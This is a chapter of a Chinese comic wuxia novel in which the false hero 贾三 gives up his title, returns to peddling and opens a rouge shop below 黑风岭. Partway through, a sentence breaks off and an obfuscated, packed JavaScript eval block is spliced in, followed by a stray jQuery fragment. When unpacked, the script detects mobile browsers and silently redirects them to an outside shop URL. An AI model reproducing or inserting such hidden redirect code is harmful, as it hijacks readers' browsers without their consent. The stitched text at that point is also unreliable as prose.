话说贾三那日在武德堂上将玉佩往赵无极案上一搁，扁担往肩上一搭，转身便走。他走出盟主府大门时，守在石阶两侧的锦衣侍卫面面相觑，不知该拦还是该送。拦吧，这人方才在堂上自陈身世，连“太虚解者”的封号都退了，拦他作甚；送吧，他如今已不是贾大侠了，以什么名目送？就这么一犹豫的工夫，贾三已下了石阶，踩着那面新铺的红毡，一脚深一脚浅地走进了街心。
红毡上还散着些纸屑和踩烂的花瓣，是今晨各派掌门入府时撒的。贾三低头看了一眼，忽然想起上回册封大典，他从这面红毡上走进去时脚底发软，新靴子太厚，踩在地上没有从前草鞋那种踏实的触感。如今他脚上还是那双靴子，靴底已被菜地的碎石和山庄的瓦砾磨薄了，走在红毡上反倒觉得踏实了些，隔着薄薄的靴底，他能感觉到红毡下面青石板的凉意。只是右脚那几道还没好利索的伤口，在靴子里隐隐发疼，每走一步便扯一下。
铜锁从偏门追出来时，贾三已走到了街口。铜锁没有喊他，只背着食盒、腰间悬着剑，不紧不慢地跟在他身后，保持着三五步的距离。贾三走快些，他便跟快些；贾三走慢些，他便跟慢些，始终不即不离。
陆百川带着几个徒弟跟在更远处，不敢靠近，也不敢出声。他们脱了金刀门的黑衣，只穿着寻常布衣，袖口上还沾着山庄火灾那夜救火时蹭的烟灰。褚义的眼眶还是红的，一路上不停地用袖子擦眼睛。走到城门时，陆百川忽然停住了脚步，回头对几个徒弟说：“就送到这里。师尊若想让我们跟着，方才在府门口便回头了。”他站在城门口，目送贾三和铜锁的身影渐行渐远，直到那根横在肩头的扁担变成远处一个小黑点，方慢慢转过身，往回走。他没有哭，只是把褚义手里那面补过无数针脚的“太虚正宗”旧旗接过来，折好，塞进怀里。
温伯安没有来送。他独自坐在武德堂侧席上，面前摊着那本《归真日录》。堂中的人已散了大半，谢无畏是头一批走的，走得极快，几乎是贾三前脚出门他后脚便起身，连桌上那叠被扁担压过的供词都忘了收。白不群摇着扇子与几位掌门寒暄了几句，也踱着方步出去了，临走前往温伯安这边看了一眼，扇子遮住了半边脸。赵无极不知何时已从主位上起身，只留了那盏凉透的龙井和案上那块玉佩。
温伯安翻开日录，笔尖悬了许久，终于落了下去。他写道：“贾大侠去职之日，天朗气清，无风无雨。余独坐武德堂，见其背影渐远，忽忆灵前论武之时，万众跪拜，大侠于高台上手足无措，其状如童。彼时余以为此乃谦抑，今乃知非谦也，实也。大侠未尝一日欺人，乃天下人自欺耳。”写到这里，他搁下笔，把那本日录合上，站起来整了整衣冠，对着贾三离去的方向作了一个揖，然后夹着日录慢慢走出武德堂。
贾三出了城门，沿着官道走了一阵，忽然在岔路口停了下来。往左是回山庄的路，往右是通黑风岭的路。他站在岔路口想了许久，然后对铜锁说了一句没头没脑的话：“那包胭脂还在不在？”
铜锁说在。火灾那夜他把贾三枕头底下那个油纸包一并抢了出来，油纸包里有块素木木牌，有缕用红丝线系着的青丝，还有一盒干透了的胭脂，那是贾三从破庙带进山庄的，当初当货郎时没卖完的最后一批，压在箱底压了这许多时日，连盒盖上的纸签都已泛了黄。铜锁收拾包袱时什么也没问，只是一样一样地用油纸裹好，和那半块霉饼放在一处。
贾三嗯了一声，然后往右边的岔路迈了一步。铜锁便也往右迈了一步，依旧跟在他身后三五步，不紧不慢。贾三走了几步又停下来问：“你不回山庄？”
“小的欠温先生磨墨，欠孟姑劈柴，欠秦太医晒药。”铜锁的声音平平的，顿了顿，又道，“都欠着，不急。”
贾三便不再问了。两个人一前一后，沿着官道往黑风岭的方向走去。扁担在贾三肩头一晃一晃的，日光从背后照过来，把扁担的影子投在尘土飞扬的官道上，拉得老长。
数日后，消息传回山庄。温伯安正蹲在菜地边上帮孟姑扶那几株被火烧过的倭瓜藤，听见褚义来报，说贾大侠和铜锁在黑风岭山脚下的一个小镇上落了脚，租了间临街的铺面，门口挂了块木牌，上书“贾记胭脂”四个字。
温伯安把倭瓜藤扶正了，站起来拍拍膝盖上的土，忽然笑了一下。他转身走回书房，翻开《归真日录》，在最新一页上写了这样一段话：“贾大侠，今归真矣。”然后又把这几个字涂掉，改成——“贾三，归矣。”
且说这日傍晚，贾三蹲在铺子门口啃炊饼。铺子刚开张，货架还没摆满，只零零散散搁了几盒胭脂、几瓶头油、几包绣花针。镇上的人还认得他，黑风寨那一仗，不少人在山脚下远远见过那顶十六抬大轿，见过赵雄在他面前单膝跪地，也听过那说书人快板里的“货郎偷鸡、霉饼悟道”。如今这个大侠忽然蹲在街边啃炊饼，门口挂的是“贾记胭脂”而不是“太虚解者”，来围观的便比来买东西的多得多。有拄着拐杖探头张望的老太太，有光着脚追狗的半大小子，也有从对门茶馆里端着茶碗出来看热闹的老茶客。
有个胆大的后生凑上来问：“你真是那个贾大侠？”贾三把嘴里的炊饼咽下去，抹了抹嘴上的饼渣，指了指门楣上那面歪歪扭扭的木牌：“贾大侠不卖胭脂，我卖胭脂。你媳妇若是喜欢苏州货，这盒是正经苏州来的，不是掺面粉的。”后生愣了一愣，旁边几个看热闹的哄地笑开了。笑声里，贾三低下头去，把胭脂盒子一只一只地码好，像当年在村口摆摊时那样，把最贵的水粉搁在左手边，最便宜的篦子搁在右手边，中间留一道缝，好让赶集的婆娘们一眼便能看见。
铜锁从铺子里端出一盏新沏的陈皮水，搁在贾三手边的货架上，然后退到门框旁，背靠着门闩，手里拿着块干布，不紧不慢地擦拭那柄旧剑。剑身映着夕阳，明晃晃地发亮，顺着纹理，从粗处往细处走，每一道弧线都是旧习惯。
这日夜里，打烊后，铜锁把铺门关上，将货架上的胭脂盒子一只一只擦干净。贾三蹲在后门口，仰头望着天上的月亮。山脚下的月亮和山庄里看到的不太一样，山庄里的月亮总是被飞檐翘角割成一块一块的，这里没有飞檐，没有围墙，只有几棵歪脖子枣树和一条小河沟，月亮便大大方方地挂在当头，照得河沟里的水白花花的。他从怀里摸出一个油纸包，拆开，里面是半块干透的柿饼。他把柿饼掰成两半，一半塞进嘴里，一半搁在膝盖上，嚼了许久，忽然回头对铜锁说：“明日去多进些篦子。天冷了，头发容易打结，篦子比胭脂好卖。”铜锁停下擦剑的手，嗯了一声。
次日清晨，铺子刚开门，便来了个意想不到的客人。钱四海的伙计挑着担子从街口晃过来，担子上挂着块新木牌，上书“太虚解者同款胭脂——归真山庄监制”。那伙计看见“贾记胭脂”的招牌，先是一愣，然后堆出满脸的笑，把担子往门口一搁，凑上来跟铜锁咬耳朵：“钱掌柜让我来问问，这胭脂，能不能挂个联名？老规矩，一成，不让大侠亏本。”
铜锁没有回答，只转头看了贾三一眼。贾三正蹲在货架前整理新进的篦子，听见这话，头也没抬，只说了两个字：“不挂。”那伙计也不恼，笑嘻嘻地从担子里摸出一包麻饼搁在柜台上，说钱掌柜送的开业贺礼，然后把担子挑起来继续往街那头晃去。走了几步又回头喊了一声：“大侠，哦不对，贾老板，钱掌柜说了，价目不变，随时等您改主意！”
贾三没有改主意。他只把那包麻饼拆开，拿了一块塞进嘴里，嚼了嚼，自言自语地嘟囔了一句：“这饼不如炊饼老汉的好。芝麻搁多了，咬一口掉半斤。”铜锁听见这话，正在擦货
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830820|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
架的手忽然停了一下。他想起很久以前，钱四海头一回来山庄时，也说过一模一样的话。
此后数日，到铺子来的人渐渐多了，看热闹的慢慢少了，真心来买东西的慢慢多了。头一批是镇上的大姑娘小媳妇，她们早听说黑风岭脚下那个“假大侠”开了间胭脂铺，纷纷来瞧个新鲜，来了便不好意思空手走。第二批是几个当初在山庄门口挂单学道的弟子，他们听说贾大侠在这里卖胭脂，便从山下搭了辆骡车赶来，蹲在铺子门口不肯走，非要帮贾老板看铺子。领头的还是那个姓马的江北秀才，只是这回他没有唱反调，也没有拿太虚身法开玩笑，只是蹲在门槛上，闷声说了句：“上回在山庄门口，是我往您旗上扔的炊饼。那饼是我娘烙的，本打算孝敬您的。”
贾三正在往货架上摆新到的桂花头油，听见这话，手顿了一下。他回头看了马三一眼，把那盒桂花头油搁在柜台上，推过去：“拿着，送你娘，不要钱。”
马三愣住了，接过桂花头油时手有些发抖，低下头，对着贾三作了一个揖。
又过了一日，苏牧羊来了。他没有进铺子，站在对街的枣树底下，远远看着贾三蹲在门口整理货箱，铜锁在旁边端着茶盘，铺子里飘出一股淡淡的桂花香，然后头也不回地往守拙门的方向走去。他身后的枣树上，最后几片枯叶被风吹落，打着旋儿飘进河沟里，随水漂远了。
这日傍晚，贾三收工后忽然说想去黑风岭走走。铜锁便陪着他，沿着山道往上走。黑风岭还是那座黑风岭，山腰上那片柿子林还在，树上挂着几颗干瘪的柿子，没人摘，掉在地上烂成泥。林子后面那条小河沟也还在，水浅得鱼都翻不过身，河沟边那块石头还是那块石头，上头覆着一层薄薄的青苔。贾三把扁担搁在石头上，在河沟边蹲下来，从怀里摸出那块木牌，放在石头上。又摸出那缕用红丝线系着的青丝，放在木牌旁边。然后他蹲在那里，对着河沟发了好一阵呆。铜锁站在他身后三五步远的地方，没有上前，也没有出声。
贾三忽然站起来，从地上捡起一根枯枝，在河沟边的泥地上划了几道。泥地很软，枯枝划过便留下深深的印子，横竖撇捺歪歪扭扭。铜锁看着那些弯弯绕绕的笔画，有几个圈像小小的柿饼，有的卷成胭脂盒的圆，有的落在末端，仿佛是枝头最后一片叶子。贾三把枯枝扔掉，拍拍手上的泥，对铜锁说：“以后每年这时候，来这树下摘柿子。摘完了晾成柿饼，搁在铺子里卖。”又指着那块石头，“这石头，留给她。万一她哪天找来了，让她坐。”铜锁说好，顿了顿，低声补了一句：“今年这最后几颗柿子已经落在地上了，明年开春我先把河沟里的淤泥清一清，再把岸边的草锄干净。”贾三点了点头。
数日后，温伯安在书房里整理《归真日录》的夹页时，翻到半截翁那卷发黄的纸，纸上有几行字：
“贾三，货郎也。初，避雨破庙，逢奇遇，为众人推为太虚解者。居山庄数载，历灵前论武、黑风寨、册封大典诸事。后自陈于武德堂，去封号，还玉佩，归货郎。今于黑风岭下开胭脂铺，门匾自题，字歪斜不可辨。或问：彼何为也？曰：卖胭脂。问：彼何人也？曰：贾三。夫贾三者，货郎也。自货郎始，至货郎终。”
温伯安把这段文字从头到尾读了两遍，然后提笔在底下加了一行小字：
“余尝为大侠立传，凡数十万言。今见此文，寥寥数行而一生尽矣。文不在多，在真。大侠之真，不在太虚，在胭脂篦子之间。余老矣，目力日衰，字迹日枯。犹忆初见贾三时，其坐破庙门槛，手攥霉饼，袜破履穿。彼时余以为此人必非凡品，今乃知非凡者不在奇遇，在归来。”
写罢搁笔，将那张纸小心折好，夹入《归真日录》最末一页。窗外，山庄里的柿子树上又挂了几颗新结的青果，还小，还硬，还不能吃。